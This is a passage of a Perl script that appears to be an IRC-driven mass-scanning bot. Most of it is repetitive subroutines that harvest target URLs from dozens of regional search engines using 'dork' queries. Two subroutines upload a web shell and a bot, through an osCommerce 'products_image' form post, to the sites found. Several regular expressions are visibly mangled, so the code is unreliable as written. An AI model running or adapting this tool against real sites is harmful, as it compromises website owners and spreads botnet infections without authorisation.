if ($engine eq "YahOoUK") { my @yahooUK = yahooUK($dork); push(@total,@yahooUK); }
if ($engine eq "YahOoDE") { my @yahooDE = yahooDE($dork); push(@total,@yahooDE); }
if ($engine eq "YahOoFR") { my @yahooFR = yahooFR($dork); push(@total,@yahooFR); }
if ($engine eq "YahOoES") { my @yahooES = yahooES($dork); push(@total,@yahooES); }
if ($engine eq "YahOoIT") { my @yahooIT = yahooIT($dork); push(@total,@yahooIT); }
if ($engine eq "YahOoHK") { my @yahooHK = yahooHK($dork); push(@total,@yahooHK); }
if ($engine eq "YahOoID") { my @yahooID = yahooID($dork); push(@total,@yahooID); }
if ($engine eq "YahOoIN") { my @yahooIN = yahooIN($dork); push(@total,@yahooIN); }
if ($engine eq "YahOoAU") { my @yahooAU = yahooAU($dork); push(@total,@yahooAU); }
if ($engine eq "YahOoMX") { my @yahooMX = yahooMX($dork); push(@total,@yahooMX); }
if ($engine eq "YahOoTW") { my @yahooTW = yahooTW($dork); push(@total,@yahooTW); }
if ($engine eq "YahOoBR") { my @yahooBR = yahooBR($dork); push(@total,@yahooBR); }
if ($engine eq "YahOoAR") { my @yahooAR = yahooAR($dork); push(@total,@yahooAR); }
if ($engine eq "YahOoNL") { my @yahooNL = yahooNL($dork); push(@total,@yahooNL); }
if ($engine eq "YahOoDK") { my @yahooDK = yahooDK($dork); push(@total,@yahooDK); }
if ($engine eq "YahOoPH") { my @yahooPH = yahooPH($dork); push(@total,@yahooPH); }
if ($engine eq "YahOoCL") { my @yahooCL = yahooCL($dork); push(@total,@yahooCL); }
if ($engine eq "YahOoRU") { my @yahooRU = yahooRU($dork); push(@total,@yahooRU); }
if ($engine eq "YahOoCH") { my @yahooCH = yahooCH($dork); push(@total,@yahooCH); }
if ($engine eq "YahOoCO") { my @yahooCO = yahooCO($dork); push(@total,@yahooCO); }
if ($engine eq "YahOoFI") { my @yahooFI = yahooFI($dork); push(@total,@yahooFI); }
if ($engine eq "YahOoRO") { my @yahooRO = yahooRO($dork); push(@total,@yahooRO); }
if ($engine eq "YahOoVE") { my @yahooVE = yahooVE($dork); push(@total,@yahooVE); }
if ($engine eq "YahOoAT") { my @yahooAT = yahooAT($dork); push(@total,@yahooAT); }
if ($engine eq "YahOoPL") { my @yahooPL = yahooPL($dork); push(@total,@yahooPL); }
if ($engine eq "YahOoKR") { my @yahooKR = yahooKR($dork); push(@total,@yahooKR); }
if ($engine eq "YahOoNZ") { my @yahooNZ = yahooNZ($dork); push(@total,@yahooNZ); }
if ($engine eq "YahOoGR") { my @yahooGR = yahooGR($dork); push(@total,@yahooGR); }
if ($engine eq "YahOoPE") { my @yahooPE = yahooPE($dork); push(@total,@yahooPE); }
if ($engine eq "Bing") { my @bing = bing($dork); push(@total,@bing); }
if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); }
if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); }
if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); }
if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); }
if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); }
if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); }
if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); }
if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); }
if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); }
if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); }
if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); }
if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); }
if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); }
if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); }
if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); }
if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); }
if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); }
if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); }
if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); }
if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); }
if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); }
if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); }
if ($engine eq "AsK") { my @ask = ask($dork); push(@total,@ask); }
if ($engine eq "AsK1") { my @ask1 = ask($dork); push(@total,@ask1); }
if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); }
if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); }
if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); }
if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); }
if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); }
if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); }
if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); }
if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); }
if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); }
if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); }
if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); }
if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); }
if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); }
if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); }
if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); }
if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); }
if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); }
if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); }
if ($engine eq "GiGaBLasT") { my @gigablast = gigablast($dork); push(@total,@gigablast); }
if ($engine eq "PaGina") { my @pagina = pagina($dork); push(@total,@pagina); }
if ($engine eq "ReDiff") { my @rediff = rediff($dork); push(@total,@rediff); }
if ($engine eq "AllTheWeb") { my @alltheweb = alltheweb($dork); push(@total,@alltheweb); }
if ($engine eq "Search66") { my @search66 = &search66($dork); push(@total,@search66); }
if ($engine eq "Clix") { my @clix = &clix($dork); push(@total,@clix); }
if ($engine eq "Arrama") { my @arrama = &arrama($dork); push(@total,@arrama); }
if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }
if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
if ($engine eq "yahoo2") { my @yahoo2 = &yahoo2($dork); push(@total,@yahoo2); }
if ($engine eq "CluSty") { my @clusty = &clusty($dork); push(@total,@clusty); }
if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
if ($engine eq "Pencari") { my @pencari = &pencari($dork); push(@total,@pencari); }
if ($engine eq "Kimpet") { my @ask2 = ask2($dork); push(@total,@ask2); }
@clean = clean(@total);
&msg("$chan","$logo(7,1@4$engine9,1)7 Total:4,1 (".scalar(@total).")7 Clean:4,1 (".scalar(@clean).")");
return @clean;
}
#########################################
sub isFound() {
my $status = 0;
my $link = $_[0];
my $reqexp = $_[1];
my $res = get_content($link);
if ($res =~ /$reqexp/) { $status = 1 }
return $status;
}
sub get_content() {
my $url = $_[0];
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout(10);
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req);
return $res->content;
}
sub osc_upl_query() {
my $url = $_[0];
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout(20);
my $req = $ua->post($url,
Content_Type=>'form-data',
Content=>["products_image"=>["$osc_shell"]]);
return $req->content;
}
sub osc_uplbot_query() {
my $url = $_[0];
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout(20);
my $req = $ua->post($url,
Content_Type=>'form-data',
Content=>["products_image"=>["$osc_bot"]]);
return $req->content;
}
######################################### SEARCH ENGINE
sub google() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$i);
my $res = search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingUK/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingCA() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ca&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingCA/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingBR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=br&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingBR/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingFR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=fr&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingFR/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingES() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=es&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingES/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingIT() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=it&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingIT/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingBE() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=be&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingBE/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingNL() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=nl&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingNL/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingPT() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=pt&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingPT/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingNO() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=no&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingNO/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingDK() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=dk&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingDK/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingSE() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=se&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingSE/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingCH() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ch&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingCH/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingNZ() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=nz&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingNZ/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingRU() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ru&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingRU/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingJP() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=jp&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingJP/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingCN() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=cn&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingCN/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingKR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=kr&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingKR/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingMX() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=mx&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingMX/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingAR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ar&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingAR/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingCL() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=cl&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingCL/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingAU() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".key($key)."&cc=au&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bingAU/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub ask() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=10) {
my $search = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$i);
my $res = search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /ask\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub ask1() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://int.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /ask\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askCA() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://ca.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askCA\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askDE() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://de.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askDE\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askIT() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://it.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askIT\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askUK() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://uk.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askUK\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askFR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://fr.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askFR\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askES() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://es.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askES\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askRU() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://ru.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askRU\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askNL() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://nl.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askNL\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askPL() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://pl.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askPL\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askAT() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://at.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askAT\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askSE() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://se.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askSE\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askDK() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://dk.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askDK\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askNO() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://no.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askNO\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askAU() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://au.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askAU\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askBR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://br.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askBR\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askMX() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://mx.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askMX\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askJP() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=1) {
my $search = ("http://jp.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askJP\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub gigablast() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10){
my $search = ("http://www.gigablast.com/search?k9t=429817&s=".$i."&q=".key($key));
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
my $link = $1;
if ($link !~ /gigablast/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub pencari() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=400; $i+=10){
my $search = ("http://www.google.com/cse?cx=partner-pub-7415614171424036%3Ajeifogf83eo&ie=ISO-8859-1&q=".&key($key)."&hl=en&num=100&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
if ($link !~ /google/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub pagina(){
my @lst;
my $key = $_[0];
my $i = 0;
for ($i=0; $i<=100; $i+=1){
my $web=("http://startgoogle.startpagina.nl/index.php?q=".key($key)."&start=".$i."&origin=homepage&source=geentaal");
my $Res= search_engine_query($web);
while ($Res =~ m/\"]*)\//g){
if ($1 !~ /pagina|pagina's/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}
}
}
return @lst;
}
sub search66(){
my @list;
my $key = $_[0];
for($b=10;$b<=1000;$b+=100){
my $Th=("http://search.search66.com/?query=".key($key)."&start=".$b."&offset=20&lang=ENG");
my $Res=&search_engine_query($Th);
while($Res =~ m/href=\"http:\/\/(.+?)\//g){
my $link = $1; $link =~ s//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
}
}
return @list;
}
sub clix(){
my @list;
my $key = $_[0];
for($b=1;$b<=1000;$b+=100){
my $Th=("http://pesquisa.clix.pt/resultado.html?question=".key($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b."");
my $Res=&search_engine_query($Th);
while($Res =~ m/href=\"http:\/\/(.+?)\//g){
my $link = $1; $link =~ s//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
}
}
return @list;
}
sub arrama(){
my @list;
my $key = $_[0];
for($b=10;$b<=1000;$b+=100){
my $Th=("http://www.arrama.com/arama.html?cx=partner-pub-8986600646077390%3A3up8c9-e187&cof=FORID%3A10&ie=UTF-8&q=".key($key)."&sa=Web'de+Ara-Bul&siteurl=www.arrama.com%2F#8".$b."");
my $Res=&search_engine_query($Th);
while($Res =~ m/href=\"http:\/\/(.+?)\//g){
my $link = $1; $link =~ s//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
}
}
return @list;
}
sub alltheweb() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100) {
my $search = ("http://us.yhs4.search.yahoo.com/yhs/search?fr=alltheweb&cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
my $res = search_engine_query($search);
while ($res =~ m/\*\*http%3a\/\/(.+?)\">/g) {
my $link = $1;
if ($link !~ /bingj|yahoo/) {
$link =~ s/ //g;
$link =~ s/%3f/\?/g;
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub uol() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&start=".$i);
my $res = search_engine_query($search);
while ($res =~ m/\"]*)/g) {
my $link = $1;
if ($link !~ /busca|uol|yahoo/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub onet() {
my @list;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=50; $b+=1) {
my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
my $res = &search_engine_query($search);
